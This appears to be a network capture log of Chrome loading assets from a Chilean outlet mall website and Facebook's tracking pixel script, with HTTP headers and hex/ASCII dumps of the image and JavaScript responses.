2025-01-10 19:49:34 UTC	3791	IN	Data Raw: 04 08 04 01 01 47 00 31 24 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 f2 09 08 38 f2 f5 4c c5 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 40 10 10 70 04 10 43 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 20 9f 80 80 23 5f cf 54 4c 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 04 01 01 47 00 31 24 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 f2 09 08 38 f2 f5 4c c5 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 40 10 10 70 04 10 43 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 20 9f 80 80 23 5f cf 54 4c 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 04 01 01 47 00 31 24 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 f2 09 08 38 f2 f5 4c c5 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 40 10 10 70 04 10 43 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 20 9f 80 80 Data Ascii: G1$@ @8L @ @@pC @ @ #_TL @G1$@ @8L @ @@pC @ @ #_TL @G1$@ @8L @ @@pC @ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.17	49727	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:34 UTC	444	OUT	GET /wp-content/uploads/2021/11/LOGO-MAIPU-BLANCO.svg HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=94e37336-e4b6-4f92-a196-add1c5c06323
2025-01-10 19:49:34 UTC	299	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:45 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 03 Nov 2021 15:49:02 GMT ETag: "820-5cfe459583780" Accept-Ranges: bytes Content-Length: 2080 Vary: Accept-Encoding,User-Agent Content-Type: image/svg+xml
2025-01-10 19:49:34 UTC	2080	IN	Data Raw: 3c 73 76 67 20 65 6e 61 62 6c 65 2d 62 61 63 6b 67 72 6f 75 6e 64 3d 22 6e 65 77 20 30 20 30 20 39 32 20 34 35 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 39 32 20 34 35 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 3c 67 20 66 69 6c 6c 3d 22 23 66 66 66 22 3e 3c 70 61 74 68 20 64 3d 22 6d 33 37 2e 36 20 32 37 2e 39 63 33 2e 39 20 30 20 37 2e 33 20 33 2e 31 20 37 2e 33 20 37 2e 31 73 2d 33 2e 34 20 37 2e 31 2d 37 2e 33 20 37 2e 31 2d 37 2e 33 2d 33 2e 32 2d 37 2e 33 2d 37 63 30 2d 34 2e 33 20 33 2e 36 2d 37 2e 32 20 37 2e 33 2d 37 2e 32 6d 30 20 31 33 63 33 2e 32 20 30 20 35 2e 39 2d 32 2e 36 20 35 2e 39 2d 35 2e 38 73 2d 32 2e 37 2d 35 2e 39 2d 35 2e 39 2d 35 2e 39 63 2d 33 2e 31 20 30 2d Data Ascii: <svg enable-background="new 0 0 92 45" viewBox="0 0 92 45" xmlns="http://www.w3.org/2000/svg"><g fill="#fff"><path d="m37.6 27.9c3.9 0 7.3 3.1 7.3 7.1s-3.4 7.1-7.3 7.1-7.3-3.2-7.3-7c0-4.3 3.6-7.2 7.3-7.2m0 13c3.2 0 5.9-2.6 5.9-5.8s-2.7-5.9-5.9-5.9c-3.1 0-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.17	49728	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:34 UTC	658	OUT	GET /wp-content/plugins/oxygen/component-framework/vendor/aos/aos.js?ver=1 HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://patiooutletmaipu.cl/tiendas/head/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=94e37336-e4b6-4f92-a196-add1c5c06323
2025-01-10 19:49:34 UTC	310	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:45 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 29 Aug 2023 22:10:43 GMT ETag: "37a3-6041714fabec0" Accept-Ranges: bytes Content-Length: 14243 Vary: Accept-Encoding,User-Agent Content-Type: application/javascript
2025-01-10 19:49:34 UTC	7882	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 41 4f 53 3d 74 28 29 3a 65 2e 41 4f 53 3d 74 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 6f 29 7b 69 66 28 6e 5b 6f 5d 29 72 65 74 75 72 6e 20 6e 5b 6f 5d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.AOS=t():e.AOS=t()}(this,function(){return function(e){function t(o){if(n[o])return n[o]
2025-01-10 19:49:34 UTC	6361	IN	Data Raw: 2f 28 61 6e 64 72 6f 69 64 7c 62 62 5c 64 2b 7c 6d 65 65 67 6f 29 2e 2b 6d 6f 62 69 6c 65 7c 61 76 61 6e 74 67 6f 7c 62 61 64 61 5c 2f 7c 62 6c 61 63 6b 62 65 72 72 79 7c 62 6c 61 7a 65 72 7c 63 6f 6d 70 61 6c 7c 65 6c 61 69 6e 65 7c 66 65 6e 6e 65 63 7c 68 69 70 74 6f 70 7c 69 65 6d 6f 62 69 6c 65 7c 69 70 28 68 6f 6e 65 7c 6f 64 29 7c 69 72 69 73 7c 6b 69 6e 64 6c 65 7c 6c 67 65 20 7c 6d 61 65 6d 6f 7c 6d 69 64 70 7c 6d 6d 70 7c 6d 6f 62 69 6c 65 2e 2b 66 69 72 65 66 6f 78 7c 6e 65 74 66 72 6f 6e 74 7c 6f 70 65 72 61 20 6d 28 6f 62 7c 69 6e 29 69 7c 70 61 6c 6d 28 20 6f 73 29 3f 7c 70 68 6f 6e 65 7c 70 28 69 78 69 7c 72 65 29 5c 2f 7c 70 6c 75 63 6b 65 72 7c 70 6f 63 6b 65 74 7c 70 73 70 7c 73 65 72 69 65 73 28 34 7c 36 29 30 7c 73 79 6d 62 69 61 6e 7c Data Ascii: /(android\|bb\d+\|meego).+mobile\|avantgo\|bada\/\|blackberry\|blazer\|compal\|elaine\|fennec\|hiptop\|iemobile\|ip(hone\|od)\|iris\|kindle\|lge \|maemo\|midp\|mmp\|mobile.+firefox\|netfront\|opera m(ob\|in)i\|palm( os)?\|phone\|p(ixi\|re)\/\|plucker\|pocket\|psp\|series(4\|6)0\|symbian\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.17	49731	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:34 UTC	438	OUT	GET /wp-content/uploads/2023/09/TikTok-Icon.png HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=94e37336-e4b6-4f92-a196-add1c5c06323
2025-01-10 19:49:34 UTC	263	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:46 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 21 Sep 2023 17:45:34 GMT ETag: "950a-605e20f144b80" Accept-Ranges: bytes Content-Length: 38154 Content-Type: image/png
2025-01-10 19:49:34 UTC	7929	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 21 00 00 03 20 08 06 00 00 00 34 b2 6d 56 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 20 00 49 44 41 54 78 9c 62 fc ff ff 3f c3 28 18 05 a3 60 14 8c 82 61 00 1a ac 1c 90 3c 21 c0 c0 c0 60 80 e6 29 03 a8 38 3a 00 89 f3 d3 39 00 0e e2 10 3f 80 c6 7f 00 c5 30 70 81 a1 e1 d8 07 da 3a 6d 14 8c 82 51 30 0a 46 01 4d 01 03 03 03 00 00 00 ff ff 1a ed 84 8c 82 51 30 0a 46 c1 60 05 0d 56 b0 4e 03 72 87 42 01 8a 19 a0 e2 fa 23 38 fe 3e 82 3b 25 10 f0 01 89 8d e8 b8 34 1c 43 ef d4 8c 82 51 30 0a 46 c1 28 18 68 c0 c0 c0 00 00 00 00 ff ff ec d7 b1 15 00 10 14 04 c1 eb bf 4b 9d 08 f8 8f 06 10 98 49 b6 86 35 21 00 2f ac c1 a8 d6 5c fc 3e 16 a7 b4 39 26 fb ac 8c 41 31 2a 00 77 25 e9 00 00 00 Data Ascii: PNGIHDR! 4mVpHYs~ IDATxb?(`a<!`)8:9?0p:mQ0FMQ0F`VNrB#8>;%4CQ0F(hKI5!/\>9&A1*w%
2025-01-10 19:49:35 UTC	8000	IN	Data Raw: df a5 50 10 6c 97 10 33 2c 00 fe c9 87 13 08 68 9f 18 6e 3b 00 00 00 ff ff ec da 01 0d 00 00 0c c2 30 a4 5f fa 6d 90 d0 da d8 d6 4b c8 d9 b0 00 a8 a2 86 c0 8a dd 2d 2b c9 03 00 00 ff ff 1a b9 9d 10 48 ef 33 7f 10 b8 64 14 8c 82 51 30 0a 46 c1 28 40 07 a3 b3 21 a3 60 14 0c 7f 20 cf c0 c0 50 30 22 e3 99 81 81 01 00 00 00 ff ff 1a c9 33 21 a3 cb b0 46 c1 28 18 05 a3 60 14 0c 4e 30 3a 1b 32 0a 46 c1 48 01 f5 0c 0d 56 06 23 2e b6 19 18 18 00 00 00 00 ff ff 1a 99 9d 90 06 ab 06 68 ef 73 14 8c 82 51 30 0a 46 c1 28 18 ac a0 60 f4 16 f5 51 30 0a 46 04 18 79 03 e3 0c 0c 0c 00 00 00 00 ff ff 1a 79 9d 90 06 2b 05 70 af 73 14 8c 82 51 30 0a 46 c1 28 18 cc a0 e1 d8 87 d1 65 59 a3 60 14 8c 08 a0 cf d0 60 35 b2 96 65 31 30 30 00 00 00 00 ff ff ec db 31 01 00 00 08 02 c1 Data Ascii: Pl3,hn;0_mK-+H3dQ0F(@!` P0"3!F(`N0:2FHV#.hsQ0F(`Q0Fyy+psQ0F(eY``5e1001
2025-01-10 19:49:35 UTC	8000	IN	Data Raw: 8c 82 51 30 0a 46 c1 28 18 1e 00 b2 ff 9c 81 81 01 00 00 00 ff ff 42 74 42 20 9b 29 47 c1 28 18 05 43 13 8c ce 82 50 1b 20 3a 1f 05 34 dc e7 31 0a 46 c1 28 18 05 a3 60 14 8c 24 00 ea 6f 6c 60 60 60 60 00 00 00 00 ff ff 42 9e 09 19 3d 19 6b 14 8c 82 a1 09 2e 8e de 0b 42 65 d0 60 55 00 ed d8 8d 76 3e 46 c1 28 18 05 a3 60 14 8c 02 6a 03 06 06 06 00 00 00 00 ff ff 42 ee 84 28 8c 06 f0 28 18 05 43 12 4c 18 8d 36 2a 81 06 2b d0 e9 56 0b 46 97 5d 8d 82 51 30 0a 46 c1 28 18 05 34 01 90 95 57 0c 0c 0c 00 00 00 00 ff ff 1a ed 84 8c 82 51 30 b4 c1 47 86 86 63 0b 46 e3 90 42 00 59 7a b5 00 7a d2 d4 28 18 05 a3 60 14 8c 82 51 30 0a 68 03 20 2b af 18 18 18 00 00 00 00 ff ff 62 1a 0d e0 51 30 0a 86 34 18 ed 80 50 0a 1a ac 02 a0 27 75 8c 76 40 46 c1 28 18 05 a3 60 14 8c Data Ascii: Q0F(BtB )G(CP :41F(`$ol````B=k.Be`Uv>F(`jB((CL6*+VF]Q0F(4WQ0GcFBYzz(`Q0h +bQ04P'uv@F(`
2025-01-10 19:49:35 UTC	8000	IN	Data Raw: 94 03 06 06 06 00 00 00 00 ff ff a2 e6 9e 10 86 d1 db d3 47 c1 28 18 05 83 08 e8 33 30 30 f4 83 71 83 d5 46 e8 3a d6 0d a3 1d 12 12 00 e4 f6 7a 58 c7 63 74 af c7 28 18 05 a3 60 14 8c 6c 40 bd 2b 39 18 18 18 00 00 00 00 ff ff a2 ee 4c 08 03 b8 d2 ba 00 ad fc 47 c1 28 18 05 a3 60 30 82 83 48 1d 92 d1 d3 b5 d0 01 e4 74 2b 87 d1 8e c7 28 18 05 a3 60 14 8c 02 34 40 b5 a5 58 0c 0c 0c 0c 00 00 00 00 ff ff a2 45 27 a4 00 3a fa 38 0a 46 c1 28 18 05 83 1d 3c 84 76 48 0e 80 f1 48 9c 25 81 cc 76 38 40 f1 e8 9e be 51 30 0a 46 c1 28 18 05 d8 00 55 97 62 31 30 30 30 00 00 00 00 ff ff a2 45 27 04 74 5a ca 7d ea 1a 3a 0a 46 c1 28 18 05 74 01 a0 59 92 0b c3 ba 53 82 e8 74 c0 e8 d1 d9 8e 51 30 0a 46 c1 28 18 05 84 00 d5 4e c5 02 03 06 06 06 00 00 00 00 ff ff a2 7e 27 84 61 Data Ascii: G(300qF:zXct(`l@+9LG(`0Ht+(`4@XE':8F(<vHH%v8@Q0F(Ub1000E'tZ}:F(tYStQ0F(N~'a
2025-01-10 19:49:35 UTC	6225	IN	Data Raw: a0 07 60 60 60 00 00 00 00 ff ff 1a ed 84 d0 1b 40 8e 7a 1b 3d 21 63 14 8c 82 91 03 fc 69 36 52 3e 7a 23 f3 60 02 b0 99 91 fb d0 3d 23 09 34 5d aa 05 5a 72 05 3a f1 0a d4 f9 81 1c bb ab 3f 14 03 6d 90 83 d1 bc 3b 72 c0 45 e8 fe dd 51 40 2f c0 c0 c0 00 00 00 00 ff ff 1a ed 84 0c 04 80 9c 90 31 7a 62 d6 28 18 05 23 07 4c a0 d9 08 f9 e8 8d cc 83 11 f8 43 3b 06 ef c1 cb a3 20 33 24 0e 14 75 4a 20 fa 0b a0 1d 9c 0f d0 25 57 f1 d0 ce cf 28 a0 1d 18 cd bb c3 1f 7c 04 2f 97 1f dd 88 4e 5f c0 c0 c0 00 00 00 00 ff ff 62 fc ff ff ff 48 f2 ef e0 01 90 ca e8 c0 e8 e8 d5 b0 05 b4 5a ef 6b 30 00 8d 0e d0 51 85 0f 68 60 ae 02 91 eb d6 69 15 96 f4 5e b6 42 ab 70 04 01 81 01 28 4b 68 e5 9f 81 f0 0b 3d 01 2c dc 1e 10 08 3f 01 68 7e 1f ca e1 41 8b bc 3b 9c d2 3a c3 08 48 ef Data Ascii: ```@z=!ci6R>z#`=#4]Zr:?m;rEQ@/1zb(#LC; 3$uJ %W(\|/N_bHZk0Qh`i^Bp(Kh=,?h~A;:H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.17	49732	157.240.251.9	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:34 UTC	540	OUT	GET /en_US/fbevents.js HTTP/1.1 Host: connect.facebook.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://patiooutletmaipu.cl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:34 UTC	1452	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: application/x-javascript; charset=utf-8 timing-allow-origin: * reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src 'self' data: blob: ;script-src 'nonce-qcliAX3j' .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* blob: data: 'self' https://.google-analytics.com .google.com;style-src data: blob: 'unsafe-inline' ;connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com: wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' https://.google-analytics.com;img-src 'self' data: blob: * https://*.google-analytics.com;block-all-mixed-content;upgrade-insecure-requests;require-trusted-types-for 'script'; document-policy: force-load-at-top
2025-01-10 19:49:34 UTC	1670	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewpor
2025-01-10 19:49:34 UTC	1	IN	Data Raw: 2f Data Ascii: /
2025-01-10 19:49:34 UTC	14680	IN	Data Raw: 2a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 2d 70 72 65 73 65 6e 74 2c 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 2a 0a 2a 20 59 6f 75 20 61 72 65 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 20 61 20 6e 6f 6e 2d 65 78 63 6c 75 73 69 76 65 2c 20 77 6f 72 6c 64 77 69 64 65 2c 20 72 6f 79 61 6c 74 79 2d 66 72 65 65 20 6c 69 63 65 6e 73 65 20 74 6f 20 75 73 65 2c 0a 2a 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 20 61 6e 64 20 64 69 73 74 72 69 62 75 74 65 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 69 6e 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 72 20 62 69 6e 61 72 79 20 66 6f 72 6d 20 66 6f 72 20 75 73 65 0a 2a 20 69 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 69 74 Data Ascii: * Copyright (c) 2017-present, Facebook, Inc. All rights reserved. You are hereby granted a non-exclusive, worldwide, royalty-free license to use,* copy, modify, and distribute this software in source code or binary form for use* in connection wit
2025-01-10 19:49:34 UTC	16384	IN	Data Raw: 7c 64 3d 3d 3d 22 47 54 4d 22 7c 7c 64 3d 3d 3d 22 4a 53 4f 4e 5f 4c 44 22 7c 7c 64 3d 3d 3d 22 4d 45 54 41 5f 54 41 47 22 7c 7c 64 3d 3d 3d 22 4f 50 45 4e 5f 47 52 41 50 48 22 7c 7c 64 3d 3d 3d 22 52 44 46 41 22 7c 7c 64 3d 3d 3d 22 53 43 48 45 4d 41 5f 44 4f 54 5f 4f 52 47 22 7c 7c 64 3d 3d 3d 22 55 52 49 22 3f 64 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 62 21 3d 6e 75 6c 6c 26 26 63 21 3d 6e 75 6c 6c 26 26 61 21 3d 6e 75 6c 6c 26 26 64 21 3d 6e 75 6c 6c 3f 7b 64 6f 6d 61 69 6e 5f 75 72 69 3a 62 2c 65 76 65 6e 74 5f 74 79 70 65 3a 63 2c 65 78 74 72 61 63 74 6f 72 5f 74 79 70 65 3a 64 2c 69 64 3a 61 7d 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 67 28 61 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 7c 7c 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 75 6e 64 65 66 69 6e Data Ascii: \|d==="GTM"\|\|d==="JSON_LD"\|\|d==="META_TAG"\|\|d==="OPEN_GRAPH"\|\|d==="RDFA"\|\|d==="SCHEMA_DOT_ORG"\|\|d==="URI"?d:null;return b!=null&&c!=null&&a!=null&&d!=null?{domain_uri:b,event_type:c,extractor_type:d,id:a}:null}function g(a){if(a==null\|\|(typeof a==="undefin
2025-01-10 19:49:34 UTC	16384	IN	Data Raw: 75 72 6e 20 6a 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 0a 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 45 78 70 65 72 69 6d 65 6e 74 73 54 79 70 65 64 65 66 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 6a 29 7b 76 61 72 20 6b 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 6b 2e 65 78 70 6f 72 74 73 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 54 79 70 65 64 22 29 2c 62 3d 61 2e 54 79 70 65 64 3b 61 2e 63 6f 65 72 63 65 3b 61 2e 65 6e 66 6f Data Ascii: urn j.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEventsExperimentsTypedef",function(){return function(g,h,i,j){var k={exports:{}};k.exports;(function(){"use strict";var a=f.getFbeventsModules("SignalsFBEventsTyped"),b=a.Typed;a.coerce;a.enfo
2025-01-10 19:49:35 UTC	16384	IN	Data Raw: 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 42 61 73 65 45 76 65 6e 74 22 29 2c 62 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 50 69 78 65 6c 54 79 70 65 64 65 66 22 29 2c 63 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 54 79 70 65 64 22 29 2c 64 3d 63 2e 54 79 70 65 64 2c 65 3d 63 2e 63 6f 65 72 63 65 3b 66 75 6e 63 74 69 6f 6e 20 67 28 61 2c 63 2c 66 2c 67 2c 68 29 7b 61 3d 65 28 61 2c 62 29 3b 63 3d 65 28 63 2c 64 2e 73 74 72 69 6e 67 28 29 29 3b 76 61 72 20 6a 3d 7b 7d 3b 66 21 3d 6e 75 6c 6c 26 26 28 74 79 70 65 6f 66 20 66 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 22 75 6e 64 65 66 69 Data Ascii: odules("SignalsFBEventsBaseEvent"),b=f.getFbeventsModules("SignalsFBEventsPixelTypedef"),c=f.getFbeventsModules("SignalsFBEventsTyped"),d=c.Typed,e=c.coerce;function g(a,c,f,g,h){a=e(a,b);c=e(c,d.string());var j={};f!=null&&(typeof f==="undefined"?"undefi
2025-01-10 19:49:35 UTC	1703	IN	Data Raw: 62 2e 67 65 74 50 72 6f 74 6f 63 6f 6c 2e 63 61 6c 6c 26 26 62 2e 67 65 74 50 72 6f 74 6f 63 6f 6c 28 29 3d 3d 3d 64 3f 62 3a 6e 75 6c 6c 3b 62 21 3d 3d 6e 75 6c 6c 26 26 28 6a 5b 61 5b 30 5d 5d 3d 6a 5b 61 5b 30 5d 5d 7c 7c 7b 7d 2c 6a 5b 61 5b 30 5d 5d 5b 61 5b 31 5d 5d 3d 62 29 3b 72 65 74 75 72 6e 20 62 21 3d 3d 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 61 29 7b 76 61 72 20 62 3d 5b 5d 3b 61 3d 6a 5b 61 2e 69 64 5d 7c 7c 7b 7d 3b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 63 29 26 26 62 2e 70 75 73 68 28 61 5b 63 5d 29 3b 72 65 74 75 72 6e 20 62 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 61 29 7b 72 65 74 75 72 6e 20 6e 28 61 29 2e 6c Data Ascii: b.getProtocol.call&&b.getProtocol()===d?b:null;b!==null&&(j[a[0]]=j[a[0]]\|\|{},j[a[0]][a[1]]=b);return b!==null}function n(a){var b=[];a=j[a.id]\|\|{};for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&&b.push(a[c]);return b}function o(a){return n(a).l
2025-01-10 19:49:35 UTC	14681	IN	Data Raw: 6c 26 26 28 74 68 69 73 2e 6d 6f 64 75 6c 65 45 6e 63 6f 64 69 6e 67 73 3d 61 29 7d 7d 2c 7b 6b 65 79 3a 22 61 64 64 45 6e 63 6f 64 69 6e 67 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 74 68 69 73 3b 69 66 28 67 2e 66 62 71 3d 3d 6e 75 6c 6c 7c 7c 67 2e 66 62 71 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 3b 69 66 28 74 68 69 73 2e 6d 6f 64 75 6c 65 45 6e 63 6f 64 69 6e 67 73 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 3b 76 61 72 20 66 3d 62 28 67 2e 66 62 71 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 2c 64 2e 6f 62 6a 65 63 74 28 29 29 3b 69 66 28 66 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 3b 66 3d 6b 28 69 28 6a 28 Data Ascii: l&&(this.moduleEncodings=a)}},{key:"addEncodings",value:function(a){var c=this;if(g.fbq==null\|\|g.fbq.__fbeventsResolvedModules==null)return;if(this.moduleEncodings==null)return;var 